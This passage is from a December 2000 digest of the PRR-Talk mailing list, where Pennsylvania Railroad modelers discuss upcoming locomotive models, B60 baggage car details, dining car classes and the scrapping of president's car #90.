> > > sharks -- a great improvement over the Model Power, etc., ones of

> yesteryear

> > > -- and would prefer to see the BP20 passenger shark in a ready-to-run

> > > version. Miracle Castings made a decent shell, but lets kick it up a

> notch!

> > >

> > > Of course, I'd also like BP-60/BH-50 centipedes, but the unique

> > > trucks/sideframes seem to be preventing that from happening any time

> soon!

> > > ---------------------------------------------------------

> > > Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

> > > Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

> > > "Keystone Crossings" - Home of "PRR-Talk"

> > >     http://kc.pennsyrr.com

> > > "Merchandise Service" - Model railroad products

> > >     http://merchandise.pennsyrr.com

> > > Free serving of railroad web sites

> > >     http://www.railfancentral.com

> > >

> > > -----------------------------------------------------------------------

> > > Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

> > > -----------------------------------------------------------------------

> > > For assistance with the list "PRR-Talk", send the message "help" to

> > > "listserv@dsop.com".

> >

> >

> > -----------------------------------------------------------------------

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> > -----------------------------------------------------------------------

> > For assistance with the list "PRR-Talk", send the message "help" to

> > "listserv@dsop.com".

> >

> >

>

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!!NEXT MESSAGE!!
Date: Thu, 21 Dec 2000 00:03:12 -0500

From: Derrick J Brashear <shadow@dementia.org>

Subject: Re: [PRR] Life Like releases







--On Wednesday, December 20, 2000 04:58:53 PM -0600 Larry Reynolds 

<reynoldl@gte.net> wrote:



> Agreed, I'd love to see the RSD15 and also the RSD7.  The 12's already

> been done.



Other than by Atlas? The Atlas RSD-12 is a compromise: an RS-11 shell on an 

RSD-4/5 drive. The real RSD-12 was longer than an RS-11.



-D





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!!NEXT MESSAGE!!
Date: Wed, 20 Dec 2000 23:08:36 -0800

Subject: [PRR] B60 underside drawings??

From: "Doug and Marianne" <babal@slip.net>



Can someone point me to a photo, drawing, or diagram of the underside of a

B60?  Were there any variations?



Thank you,



Doug Nelson

Mill Valley, CA

babal@slip.net



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!!NEXT MESSAGE!!
Date: Thu, 21 Dec 2000 01:31:00 -0800 (PST)

From: Doug Kisala <dougkisala@yahoo.com>

Subject: [PRR] Fantastic PAs!  Think Steam!!!



Greg, list, 



First, the kudos part.  Mainline Modeler finally made

it out to my neck of the woods.  Very nice job on the

PAs!!!!!  Before I started backdating to 1948, I used

an Athearn PA to model 5752; I wish I had your article

for reference; the little nose vents were completely

unnoticed by me (amongst about a billion other

things).  An added bonus was Mont Switzer's article on

the X26 (naturally, about 5 years after I built my

model).



Now, for the partisanship.  Instead of another diesel,

why not some new steam, like an H6sb (a perennial

theme of mine), an N2sa boiler for Bowser's USRA

2-10-2 or a K2s/K3s boiler for Bowser's K4s chassis?



Calmly waiting for steam to rise again.....



Doug





--- TGREGMRTN@aol.com wrote:

> Guys,

> 

> Do we really need an S-1 ALCo switcher? Why not an

> H-20-44 or H-16-44... How 

> about a good Baldwin Shark?

> 

> Greg Martin 

> 

>

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> "listserv@dsop.com".





__________________________________________________

Do You Yahoo!?

Yahoo! Shopping - Thousands of Stores. Millions of Products.

http://shopping.yahoo.com/



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!!NEXT MESSAGE!!
Date: Thu, 21 Dec 2000 09:11:48 -0500

From: Andy Miller <asmiller@mitre.org>

Subject: Re: [PRR] B60 underside drawings??



Doug,



First, I am going to guess that you mean a B60b.  That was the most

common "variation". There also were B60s.  They are different, although

usually confused among model RRers.  Compared to the more common B60b,

the B60 has three more panels on the side, one outboard of each door and

one between the two doors; but its most obvious distinguishing features

are the monitor roof and the older (I don't know the class) fabricated

sideframe trucks.

The underbody on a B60 and a B60b are different.



Furthermore, some of the B60b's were "Messenger cars".  These had a

desk, a safe, and a toilet for an attendant.  They also had beefed up

ventilation and could therefore be identified by the two rows of vents

on the roof.  However, the body itself was a straight B60b.  So I have

no idea if the underbody was any different.  Did they have a water tank,

a larger battery or generator?  They certainly did not have AC.



I know of no plans or drawings which show the underbody of either very

well. I recently did a series of five Bethlehem HO models of the B60b.

In desperation to find out what fittings were under the cars and where

they were placed, I finally located a real B60b in Framingham MA, the

town I live in!  I crawled all over that thing and took notes and

pictures.  Six months later I am still awaiting my back ordered UC Brake

sets from Bethlehem (the old Cal-Scale set).  Now that I know where all

the stuff goes, I need the stuff.



Regards,



Andy Miller

asmiller@mitre.org



===================================================

Doug and Marianne wrote:

> 

> Can someone point me to a photo, drawing, or diagram of the underside of a

> B60?  Were there any variations?

> 

> Thank you,

> 

> Doug Nelson

> Mill Valley, CA

> babal@slip.net

> 

> -----------------------------------------------------------------------

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--





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!!NEXT MESSAGE!!
From: "Gene Deimling" <endeimling@mindspring.com>

Subject: RE: [PRR] B60 underside drawings??

Date: Thu, 21 Dec 2000 06:51:49 -0800



Doug:

The PRRT&HS maintains a large selection of engineering drawings from which

copies can be made for a fee.  The B60 is listed.   They have general

arrnagement drawings and detail drawings.   You will need to order a list of

drawings for a specific card.  The fall issue of the Keystone had some

information on the service.  You will need to be a member to order the

drawings.   The service has been somewhat slow lately but the information is

worth the wait.

Gene Deimling

-----Original Message-----

From: PRR-Talk@dsop.com [mailto:PRR-Talk@dsop.com]On Behalf Of Doug and

Marianne

Sent: Wednesday, December 20, 2000 11:09 PM

To: prr-talk@dsop.com

Subject: [PRR] B60 underside drawings??





Can someone point me to a photo, drawing, or diagram of the underside of a

B60?  Were there any variations?



Thank you,



Doug Nelson

Mill Valley, CA

babal@slip.net



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Date: Thu, 21 Dec 2000 12:41:31 EST

From: LINESWEST@aol.com

Subject: Re: [PRR] Life Like releases



In a message dated Wed, 20 Dec 2000  3:52:02 PM Eastern Standard Time, 

TGREGMRTN@aol.com writes:



<< Guys,



Do we really need an S-1 ALCo switcher? Why not an H-20-44 or H-16-44... How 

about a good Baldwin Shark?



Greg Martin>>



Hear, Hear for the H-20-44. Then I can accurately model Cincinnati. What 

aboout an LH 2500 cebter cab. Now that's a beauty.



Tom V.



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Date: Thu, 21 Dec 2000 12:55:52 -0500

Subject: [PRR] Dining Car on 1954 Penn Texas

From: Jerry Britton <jerry@pennsyrr.com>



Although I expect the answer to come from Andy Miller <grin>, I'll pose this

one to everyone...



The 1954 Penn Texas (#3/#4) carried a dining car -- not a two unit version,

just a single car.



Anyone know what class of dining car this might have been?



Might it have been one of the Pullman plan #7414 kitchen/diners built in

1938? These were numbered in the 45xx range.

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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Date: Thu, 21 Dec 2000 13:22:48 -0500

From: Andy Miller <asmiller@mitre.org>

Subject: Re: [PRR] Dining Car on 1954 Penn Texas



Jerry,



That's a tough one.  I don't know off hand.  My suspicion is one of the

single unit Budd diners built after the war, originally for the Golden

Triangle.  After all, the PT was one of the top trains in the fleet. 

But your guess of the 1938 diners is as good as any.  There were three

different series of cars built in 38 to basically the same plan: one set

by each of Budd, PS, and ACF.  I have scratch built a PS car and painted

it in the two-tone FOM scheme (never again!), and that's the diner that

runs in my PT as often as not.



Let's see what Andy Harmon (if he's lurking) has to say!  You may get

two Andys for the price of one.



Regards,



Andy Miller

asmiller@mitre.org



===================================================



Jerry Britton wrote:

> 

> Although I expect the answer to come from Andy Miller <grin>, I'll pose this

> one to everyone...

> 

> The 1954 Penn Texas (#3/#4) carried a dining car -- not a two unit version,

> just a single car.

> 

> Anyone know what class of dining car this might have been?

> 

> Might it have been one of the Pullman plan #7414 kitchen/diners built in

> 1938? These were numbered in the 45xx range.

> ---------------------------------------------------------

> Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com



--





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!!NEXT MESSAGE!!
Date: Thu, 21 Dec 2000 15:16:49 EST

From: TGREGMRTN@aol.com

Subject: Re: [PRR] Life Like releases



Jerry and all,



I an incline to go along with arry on this one. My Modle Power Sharks are 

very early first run loco's and I love the way they run even with out 

flywheels...  



<< Hay Jerry:



Why in the world would you think the ER Models Freight Sharks are better than 

the old Model Power version?  I have both and would much prefer the MP's.

Reasons:



1) I don't care for the shade of green paint on the ER's as well as the 

overly bright lettering.>>



A personal triumph for me was to get Athearn to take a serrious look at the 

real color for DGLE/Brunswick Green and "BUFF" for the lettering on the new 

Genesis Series F-units when made available anytime now.  I think you guys 

will be more than happy the the "old Witch standard" in the hobby is dead.  I 

think you will never be happy with the green and yellow the other producers 

have been handing you for years from that day forward. I do like the colors 

that Stewart is using currently and I must say KUDOS to Steve...  



<<2) After exhaustive testing I have concluded that the ER's maintain 

terrible  control when run on DCC and MU'd.They do not maintain a constant 

smooth speed.  They keep fluctuating.  Model Power Sharks, no problem.  All 

other loco's on my roster, no problem.  I've even taken the decoders out and 

shelved the things until I get a chance to re-motor them with Kato motors.>>



No comment no debate, I trust Larry's observasions...



<<3) The pilot on the ER's is really bad and requires surgery.>>



I thought I was the only one who picked up on this?



<<4) The rear on the loco is also bad and also requires surgery unless you 

like three miles between units. <VBG> >>



YIKES! 



<<5) Way over priced when compared to P2K.  The ER's are up there with Kato 

and Stewart.  These, (Stewart and Kato) are in a class that is deserving of 

the high

price.  IMHO the ER Sharks are not.>>



whatever the market will bare and it makes my five stripe repaints and 

rebuilds even more valuable.  I love them!



<<Have a great Holiday Jerry.  Hope you can make it to a session sometime in 

2001.

Larry>>



Same here everyone have a great Holiday season... Ding Dong the witch is 

dead...



Greg Martin 









Jerry Britton wrote:



> On 12/20/00 3:42 PM, TGREGMRTN@aol.com (TGREGMRTN@aol.com) wrote:

>

> > Do we really need an S-1 ALCo switcher?

>

> A PRR version wasn't even in the "first release" list. Perhaps later.

>

> > Why not an H-20-44 or H-16-44...

>

> Now, now, Miracle Castings will have one out any day now! <grin>

>

> > How

> > about a good Baldwin Shark?

> >

> I, for one, am willing to remain satisfied with the E-R Models freight

> sharks -- a great improvement over the Model Power, etc., ones of yesteryear

> -- and would prefer to see the BP20 passenger shark in a ready-to-run

> version. Miracle Castings made a decent shell, but lets kick it up a notch!

>

> Of course, I'd also like BP-60/BH-50 centipedes, but the unique

> trucks/sideframes seem to be preventing that from happening any time soon!

> ---------------------------------------------------------

> Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

> Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

> "Keystone Crossings" - Home of "PRR-Talk"

>     http://kc.pennsyrr.com

> "Merchandise Service" - Model railroad products

>     http://merchandise.pennsyrr.com

> Free serving of railroad web sites

>     http://www.railfancentral.com

>

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 >>







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!!NEXT MESSAGE!!
Date: Thu, 21 Dec 2000 15:36:32 EST

From: TGREGMRTN@aol.com

Subject: Re: [PRR] Life Like releases



Guys,



Now your thinking, I am trying to convince steve Stewart to produce these and 

I believe he will enjoy a good market for sometine... and perhaps make a 

million!  



Greg Martin 



In a message dated Wed, 20 Dec 2000  6:06:10 PM Eastern Standard Time, 

"pgrace" <pgrace@aspects.net> writes:



<< Surely a better option would be an Alco RSD15/RSD12, they would have a 

reasonable market.>>









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!!NEXT MESSAGE!!
Date: Thu, 21 Dec 2000 16:58:25 -0500 (EST)

From: Will <alcoman@net.bluemoon.net>

Subject: [PRR] Lewiston, PA, Mainlines Blocked (fwd)





Just an FYI...Hope the depot is not affected by this....



Will Semanchuk-Enser  Technical Support & Co-Network Administrator

alcoman@bluemoon.net  www.bluemoon.net - The Blue Moon Internet Corp.

V.90, X2 & K56flex    www.railfan.net  - The Railfan Network  

                      alcoman.Railfan.net - Homepage





---------- Forwarded message ----------

Date: Thu, 21 Dec 2000 16:48:56 -0500 (EST)

From: NS.Service.Alert@nscorp.com

Reply-To: alert@nscorp.com

Subject: Lewiston, PA, Mainlines Blocked



Norfolk Southern Service Alert

December 21, 2000



Lewiston, PA, Mainlines Blocked



A Norfolk Southern train derailed at Lewistown, Pennsylvania, Thursday

morning, December 20.  Both NS mainlines at Lewistown are blocked.

Based on initial assessments, one of the mainline tracks should be back

in service by Friday afternoon.  Some traffic normally moving through

this area will be diverted to other routes, but shipments moving to,

from, or through the Lewistown area will encounter delays.  For

information on specific shipments, please contact the National Customer

Service Center at (800) 635-5768. 



------------------

Norfolk Southern Corporation

www.nscorp.com



To remove yourself from this list, please go to:



	http://www.nscorp.com/nscorp/html/lists.html



or send an email to majordomo@nscorp.com and include 

in the body only these words: unsubscribe alert





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!!NEXT MESSAGE!!
From: "Greg Johnson" <gregj@hal-pc.org>

Subject: Re: [PRR] Life Like releases

Date: Fri, 22 Dec 2000 15:36:34 -0600



Speaking of Life Like releases, does anyone know if LL will bring out the

Train Master in HO?



Regards,



Greg Johnson



----- Original Message -----

From: <LINESWEST@aol.com>

To: <TGREGMRTN@aol.com>; <prr@unite.com.au>

Cc: <prr-talk@dsop.com>

Sent: Thursday, December 21, 2000 11:41 AM

Subject: Re: [PRR] Life Like releases





> In a message dated Wed, 20 Dec 2000  3:52:02 PM Eastern Standard Time,

> TGREGMRTN@aol.com writes:

>

> << Guys,

>

> Do we really need an S-1 ALCo switcher? Why not an H-20-44 or H-16-44...

How

> about a good Baldwin Shark?

>

> Greg Martin>>

>

> Hear, Hear for the H-20-44. Then I can accurately model Cincinnati. What

> aboout an LH 2500 cebter cab. Now that's a beauty.

>

> Tom V.

>

> -----------------------------------------------------------------------

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> -----------------------------------------------------------------------

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> "listserv@dsop.com".

>





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!!NEXT MESSAGE!!
From: "Bill Daniels" <billd@gci-net.com>

Subject: Re: [PRR] Life Like releases

Date: Thu, 21 Dec 2000 19:16:10 -0700



Why should they? Athearn's is quite nice, relatively cheap, available and

accurate.



Bill Daniels

Tucson, AZ





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From: "aidrian.bridgeman-sutton" <aidrian.bridgeman-sutton@ntlworld.com>

Subject: [PRR] Tender q. thanks

Date: Thu, 21 Dec 2000 20:27:15 -0000



 A general thank you to those who were kind enough to suggest leads to the

necessary info.



Books have been ordered, diagrams and drawings sought out  and brass sheet

and sections bought in.



Aidrian





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!!NEXT MESSAGE!!
From: TGREGMRTN@aol.com

Date: Fri, 22 Dec 2000 01:57:20 EST

Subject: [PRR] Re: Fantastic PAs!  Think Steam!!!



Doug and list,



Reread the body of the text and you will discover that if you are in fact 

modeling any time prior to 1951 you don't need the traction motor air 

induction vents on the nose.  In part two of the article it will explain the 

size and the location of the intake ducts for you guys who need them.  Also 

the placement of the antenna mast on the roof end and along the bottom of the 

frame sill.  

Thanks,



Greg Martin 





dougkisala@yahoo.com writes:

<< Greg, list, 

 

 First, the kudos part.  Mainline Modeler finally made it out to my neck of 

the woods.  Very nice job on the PAs!!!!!  Before I started backdating to 

1948, I used an Athearn PA to model 5752; I wish I had your article for 

reference; the little nose vents were completely unnoticed >>



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From: TGREGMRTN@aol.com

Date: Fri, 22 Dec 2000 03:06:12 EST

Subject: [PRR] Calling Ken McCory, Calling Ken McCory



Ken,



Contact me offline if you would, please...



Greg Martin 



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From: "Don Murphy" <dmurp670@cs.com>

Subject: [PRR] new hoppers from Bowser

Date: Fri, 22 Dec 2000 06:46:43 -0500

X-Apparently-From: Dmurp670@cs.com



Sometime ago there was talk of a new PRR hopper from Bowser. This list took

a survy and I think the Gla won followed by the Glc.



Has anyone heard if Bowser is producing one and, if so, when??



Don Murphy

Recreating operations on the Renovo Division Circa 1946



Painting steam locomotives since 1985. Send for a price list and samples.



Erie, Pa-land of huge piles of lake effect.





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Date: Fri, 22 Dec 2000 08:30:29 -0500

Subject: Re: [PRR] new hoppers from Bowser

From: Jerry Britton <jerry@pennsyrr.com>



On 12/22/00 6:46 AM, Don Murphy (dmurp670@cs.com) wrote:



> Sometime ago there was talk of a new PRR hopper from Bowser. This list took

> a survy and I think the Gla won followed by the Glc.

> 

> Has anyone heard if Bowser is producing one and, if so, when??

> 

Bowser is indeed working on a flavor of GL hoppers. The specific model is

still a guarded secret, as is the ETA. I'm sure Lee will let us know

shortly.

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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!!NEXT MESSAGE!!
From: privatevarnish@aol.com

Date: Fri, 22 Dec 2000 12:46:48 EST

Subject: [PRR-FAX] Other = Authentic PRSL interlocking charts for sale



Would you like to buy one booklet of authentic 1960 PRSL charts labeled "THE 

PENNSYLVANIA-READING-SEASHORE LINES, BLOCK STATIONS, INTERLOCKINGS, ETC."?



It has BUS CAR (for Business Car) hand written in yellow pencil on the front 

cover sheet, which is navy blue.  White lines on navy background drawings.  

Bound by 2 brass brads on left side.  Booklet is 11 1/2" wide by 5 1/4" tall, 

but many of the charts inside fold out to a larger size.  Excellent 

condition, almost unused.  Index sheet covers 26 interlockings from Atlantic 

through Glassboro to Winslow and Woodbury.  $300 + $5/UPS



Please let me know quickly if you are interested.  Jim





***OR, for those on a budget, clear digital copier produced photo-copies of the same 26 plants ( only dated 1961 ) for $ 30.00 each booklet, complete with Priority Mail shipping included ! Let me know whenever you feel like it, Bill*-* 





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!!NEXT MESSAGE!!
Date: Fri, 22 Dec 2000 14:40:16 -0600 (CST)

From: Bruce F Smith <smithbf@mail.auburn.edu>

Subject: Re: [PRR] B60 underside drawings??



Andy wrote:

> I know of no plans or drawings which show the underbody of either very

> well. I recently did a series of five Bethlehem HO models of the B60b.

> In desperation to find out what fittings were under the cars and where

> they were placed, I finally located a real B60b in Framingham MA, the

> town I live in!  I crawled all over that thing and took notes and

> pictures.  Six months later I am still awaiting my back ordered UC Brake

> sets from Bethlehem (the old Cal-Scale set).  Now that I know where all

> the stuff goes, I need the stuff.



Any chance of posting those photos? (I'd be happy to scan in set to post

at Keystone Crossing or Photopoint)



Happy Rails

Bruce







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From: "Mark T. Evans" <mtevans@jps.net>

Subject: [PRR] H43 Hopper "Yellow Ball"

Date: Fri, 22 Dec 2000 07:36:53 -0800



Question: What is the diameter of the "yellow ball" on a PRR H43 hopper?

John Teichmoeller's book says 28-in. Can anyone confirm?



Thanks, and happy holidays!



Mark T. Evans

Anaheim, CA





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!!NEXT MESSAGE!!
From: "Sam Vastano" <svastano@hotmail.com>

Subject: [PRR] PRR Merry Christmas!

Date: Fri, 22 Dec 2000 19:56:33 -0500



Group,



Merry Christmas and may all of you get that PRR, Item or Items that you have 

been hoping for!





God Bless



Sam Vastano



_________________________________________________________________

Get your FREE download of MSN Explorer at http://explorer.msn.com





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!!NEXT MESSAGE!!
Date: Sat, 23 Dec 2000 08:27:15 -0800

Subject: Re: [PRR] B60 underside drawings??

From: "Doug and Marianne" <babal@slip.net>



Andy:



Do you have access to a scanner?  If so, would you consider placing the B60b

model on the scanner and making a b&w photo of the bottom of your model?  I

do this regularly and the results are usually excellent.  I would probably

work best with the trucks off, if possible.  You could then email me or post

it.



Thanks for your help.



Doug Nelson.

babal@slip.net



----------

>From: Bruce F Smith <smithbf@mail.auburn.edu>

>To: Andy Miller <asmiller@mitre.org>

>Cc: Doug and Marianne <babal@slip.net>, prr-talk@dsop.com

>Subject: Re: [PRR] B60 underside drawings??

>Date: Fri, Dec 22, 2000, 12:40 PM

>



> Andy wrote:

>> I know of no plans or drawings which show the underbody of either very

>> well. I recently did a series of five Bethlehem HO models of the B60b.

>> In desperation to find out what fittings were under the cars and where

>> they were placed, I finally located a real B60b in Framingham MA, the

>> town I live in!  I crawled all over that thing and took notes and

>> pictures.  Six months later I am still awaiting my back ordered UC Brake

>> sets from Bethlehem (the old Cal-Scale set).  Now that I know where all

>> the stuff goes, I need the stuff.

>

> Any chance of posting those photos? (I'd be happy to scan in set to post

> at Keystone Crossing or Photopoint)

>

> Happy Rails

> Bruce

>

>

> 



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!!NEXT MESSAGE!!
From: PrivateVarnish@aol.com

Date: Sat, 23 Dec 2000 13:13:25 EST

Subject: [PRR] Authentic PRSL interlocking charts for sale





Would you like to buy one booklet of authentic 1960 PRSL charts labeled "THE 

PENNSYLVANIA-READING-SEASHORE LINES, BLOCK STATIONS, INTERLOCKINGS, ETC."?  



It has BUS CAR (for Business Car) hand written in yellow pencil on the front 

cover sheet, which is navy blue.  White lines on navy background drawings.  

Bound by 2 brass brads on left side.  Booklet is 11 1/2" wide by 5 1/4" tall, 

but many of the charts inside fold out to a larger size.  Excellent 

condition, almost unused.  Index sheet covers 26 interlockings from Atlantic 

through Glassboro to Winslow and Woodbury.  $300 + $5/UPS



Please let me know quickly if you are interested.



                                                            Jim



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!!NEXT MESSAGE!!
From: "boxcar46" <boxcar46@nfdc.net>

Date: Sat, 23 Dec 2000 14:47:24 -0500

Subject: [PRR-FAX] PRR Presidents car # 90



Looking for the location of the # 90.....Last time I saw her she was in St.Peters Village on a small siding. She was trucked out of St. Peters to  ????? Is she on the rails?  What has happened to her?





Bill  Knepper

PRRT&HS # 1818

(boxcar46@nfdc.net)

End of the NCR tracks, New Freedom, Pa.





[Non-text portions of this message have been removed]







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!!NEXT MESSAGE!!
From: "boxcar46" <boxcar46@nfdc.net>

Subject: [PRR] PRR Presidents Car # 90

Date: Sat, 23 Dec 2000 15:52:43 -0500



I am looking for the present day location for this grand piece of history.

the last time I saw her she was in a little village called St.Peters. She

was on a siding with no connecting track leading to the location.I was told

that she was trucked out of St. Petres a long time ago but no one knew were

she went????  Is she still on the rails. What has happened to her ?  Where

can I find her ?



Bill  Knepper

PRRT&HS # 1818

(boxcar46@nfdc.net)

End of the NCR tracks, New Freedom, Pa.





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!!NEXT MESSAGE!!
From: Bennett Levin <v-scarpitti@worldnet.att.net>

Date: Sat, 23 Dec 2000 17:31:21 -0500

Subject: Re: [PRR-FAX] PRR Presidents car # 90



Car # 90 "Delaware" was last intact at the Coach Inn at Fort Washington,

Pa. The motel owner wasn't interested in letting go (even for some

$$$$$) for restoration and had her cut up buy a water tank dismatler

from the south. The trucks and the real platform railing were bought

from the scrapper by Juniata Terminal.



Bye Bye # 90!



boxcar46 wrote:

> 

> Looking for the location of the # 90.....Last time I saw her she was in St.Peters Village on a small siding. She was trucked out of St. Peters to  ????? Is she on the rails?  What has happened to her?

> 

> Bill  Knepper

> PRRT&HS # 1818

> (boxcar46@nfdc.net)

> End of the NCR tracks, New Freedom, Pa.

> 

> [Non-text portions of this message have been removed]

> 

> 

> "PENNSY Spoken Here" As We Enjoy Sharing Factual Information While Remembering Our PRR Heritage.





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From: "boxcar46" <boxcar46@nfdc.net>

Date: Sat, 23 Dec 2000 15:52:43 -0500

Subject: [PRR-FAX] PRR Presidents Car # 90



I am looking for the present day location for this grand piece of history.

the last time I saw her she was in a little village called St.Peters. She

was on a siding with no connecting track leading to the location.I was told

that she was trucked out of St. Petres a long time ago but no one knew were

she went????  Is she still on the rails. What has happened to her ?  Where

can I find her ?



Bill  Knepper

PRRT&HS # 1818

(boxcar46@nfdc.net)

End of the NCR tracks, New Freedom, Pa.







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Date: Sat, 23 Dec 2000 17:31:21 -0500

From: Bennett Levin <v-scarpitti@worldnet.att.net>

Subject: [PRR] Re: [PRR-FAX] PRR Presidents car # 90



Car # 90 "Delaware" was last intact at the Coach Inn at Fort Washington,

Pa. The motel owner wasn't interested in letting go (even for some

$$$$$) for restoration and had her cut up buy a water tank dismatler

from the south. The trucks and the real platform railing were bought

from the scrapper by Juniata Terminal.



Bye Bye # 90!



boxcar46 wrote:

> 

> Looking for the location of the # 90.....Last time I saw her she was in St.Peters Village on a small siding. She was trucked out of St. Peters to  ????? Is she on the rails?  What has happened to her?

> 

> Bill  Knepper

> PRRT&HS # 1818

> (boxcar46@nfdc.net)

> End of the NCR tracks, New Freedom, Pa.

> 

> [Non-text portions of this message have been removed]

> 

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> "PENNSY Spoken Here" As We Enjoy Sharing Factual Information While Remembering Our PRR Heritage.



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!!NEXT MESSAGE!!
Date: Sat, 23 Dec 2000 14:53:33 -0800

From: Charles Friedlein <CFriedlein@uswest.net>

Subject: [PRR] Re: [PRR-FAX] PRR Presidents car # 90



Bennett,

Doesn't it just break your heart when something like that happens?  I'm 

not going to express any opinions beyond that, but it is saddening to 

have something pass into oblivion when a chance or preservation is offered.

BTW, please say hello to your son Dean for me, though he may not 

remember me.  I used to stop by and talk with him at the "Terminal" when 

I lived back there and worked for IHC.  He was kind enough to help me 

with some research, too.

Happy holidays to you all.

Chuck Friedlein



Bennett Levin wrote:



> Car # 90 "Delaware" was last intact at the Coach Inn at Fort Washington,

> Pa. The motel owner wasn't interested in letting go (even for some

> $$$$$) for restoration and had her cut up buy a water tank dismatler

> from the south. The trucks and the real platform railing were bought

> from the scrapper by Juniata Terminal.

> 

> Bye Bye # 90!







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!!NEXT MESSAGE!!
Date: Sat, 23 Dec 2000 14:53:33 -0800

From: Charles Friedlein <CFriedlein@uswest.net>

Subject: [CYBER] Re: [PRR-FAX] PRR Presidents car # 90



Bennett,

Doesn't it just break your heart when something like that happens?  I'm 

not going to express any opinions beyond that, but it is saddening to 

have something pass into oblivion when a chance or preservation is offered.

BTW, please say hello to your son Dean for me, though he may not 

remember me.  I used to stop by and talk with him at the "Terminal" when 

I lived back there and worked for IHC.  He was kind enough to help me 

with some research, too.

Happy holidays to you all.

Chuck Friedlein



Bennett Levin wrote:



> Car # 90 "Delaware" was last intact at the Coach Inn at Fort Washington,

> Pa. The motel owner wasn't interested in letting go (even for some

> $$$$$) for restoration and had her cut up buy a water tank dismatler

> from the south. The trucks and the real platform railing were bought

> from the scrapper by Juniata Terminal.

> 

> Bye Bye # 90!







----------------------------------------------------------------------

This list ("Cyber-Talk") is for discussion of Cyber Chapter (PRRT&HS) 

business only. All general modeling and/or Pennsy discussion should 

take place on "PRR-Talk". For assistance with this list, send the 

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!!NEXT MESSAGE!!
From: "Jeff Knorek" <jknorek@mail.msen.com>

Subject: [PRR] GG1 Images online

Date: Sat, 23 Dec 2000 18:02:27 -0500



Greetings to the group-

I have placed GG1 photographs here:

http://www.railfancentral.com/knorek/Found/Baldwin/BaldwinIndex.htm



If any of you can tell us more about the location

where the PRR units were shot, I'd very much appreciate it.





Jeff Knorek

 jknorek@msen.com



Conrail Detroit Shared Assets Area website:

http://www.railfancentral.com/knorek/SAA/SAAIndex.htm



Lost and Found Railroad Photographs website:

http://www.railfancentral.com/knorek/Found/found.htm



Today's Random Railroad Image Find:

http://www.railfancentral.com/knorek/Random/Random.htm



New Brighton, PA, PRR Flyover website:

http://www.railfancentral.com/knorek/Pgh/NewBrighton/NewBrighton.htm



CSX in Southeast Michigan website:

http://members.aol.com/jsundin357/plydiam.html



Railroading in Ohio website (still under construction):

http://www.msen.com/~jknorek/ohio.htm



  All the world will be your enemy, Prince of a Thousand Enemies

  And when they catch you, they will kill you

  But first they have to catch you...

        From Richard Adams' _Watership Down_













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From: Charles Friedlein <CFriedlein@uswest.net>

Date: Sat, 23 Dec 2000 14:53:33 -0800

Subject: Re: [PRR-FAX] PRR Presidents car # 90



Bennett,

Doesn't it just break your heart when something like that happens?  I'm 

not going to express any opinions beyond that, but it is saddening to 

have something pass into oblivion when a chance or preservation is offered.

BTW, please say hello to your son Dean for me, though he may not 

remember me.  I used to stop by and talk with him at the "Terminal" when 

I lived back there and worked for IHC.  He was kind enough to help me 

with some research, too.

Happy holidays to you all.

Chuck Friedlein



Bennett Levin wrote:



> Car # 90 "Delaware" was last intact at the Coach Inn at Fort Washington,

> Pa. The motel owner wasn't interested in letting go (even for some

> $$$$$) for restoration and had her cut up buy a water tank dismatler

> from the south. The trucks and the real platform railing were bought

> from the scrapper by Juniata Terminal.

> 

> Bye Bye # 90!









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!!NEXT MESSAGE!!
Date: Sun, 24 Dec 2000 09:11:50 -0500

From: Bennett Levin <v-scarpitti@worldnet.att.net>

Subject: Re: [PRR] Re: [PRR-FAX] PRR Presidents car # 90



As an aside, for those of you who keep track of such things, Juniata

Terminal just donated Car PRR 7504, ex-Wm.Penn, to the Us Army, Indiana

National Guard at Camp Atterbury IN. The car will be converted into a

museum car honoring W.W.A.It arrived at the base this past Thursday and

will be set on a stationary piece of track. We acquired the car 15 years

ago from a Mr. H. Frazier of Ruston LA.The car traveled to Indiana on a

TTX low deck car. The trucks and underside accessories went in a gon.





Seasons Greetings!!!!!



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From: Bennett Levin <v-scarpitti@worldnet.att.net>

Date: Sun, 24 Dec 2000 09:11:50 -0500

Subject: Re: [PRR] Re: [PRR-FAX] PRR Presidents car # 90



As an aside, for those of you who keep track of such things, Juniata

Terminal just donated Car PRR 7504, ex-Wm.Penn, to the Us Army, Indiana

National Guard at Camp Atterbury IN. The car will be converted into a

museum car honoring W.W.A.It arrived at the base this past Thursday and

will be set on a stationary piece of track. We acquired the car 15 years

ago from a Mr. H. Frazier of Ruston LA.The car traveled to Indiana on a

TTX low deck car. The trucks and underside accessories went in a gon.





Seasons Greetings!!!!!



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!!NEXT MESSAGE!!
From: PKMac1@aol.com

Date: Sun, 24 Dec 2000 18:54:03 EST

Subject: [PRR] Merry Christmas



Fellow List Members.

                                I would like to wish all of the members of 

the list a very

                                                   MERRY CHRISTMAS

                                                                 &

                                                   A JOYOUS NEW YEAR

Pat McKinney 



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!!NEXT MESSAGE!!
Date: Sun, 24 Dec 2000 20:38:02 -0500

Subject: [PRR] N Scale C-Liners From Life Like

From: Jerry Britton <jerry@pennsyrr.com>



Some time ago I spoke with my contact at Life Like and asked if they would

be running in N scale the PRR liveries in the FA1/FB1, which were already in

production. I got an "affirmative" and these are, of course, scheduled for

early in 2001.



During that same conversation, I asked about the possibility/probability of

LL downsizing the C-Liners and Erie-builts, then in production in HO scale.

The response was "patience!"



There's a German site now floating production info on the C-Liners. And in

the past, European dealers have gotten their info early. They are showing

two AB sets of C-Liners due in May:



SBauart Fairbanks Morse C-Liner A+B (beide mit Antrieb) Liefertermin ab

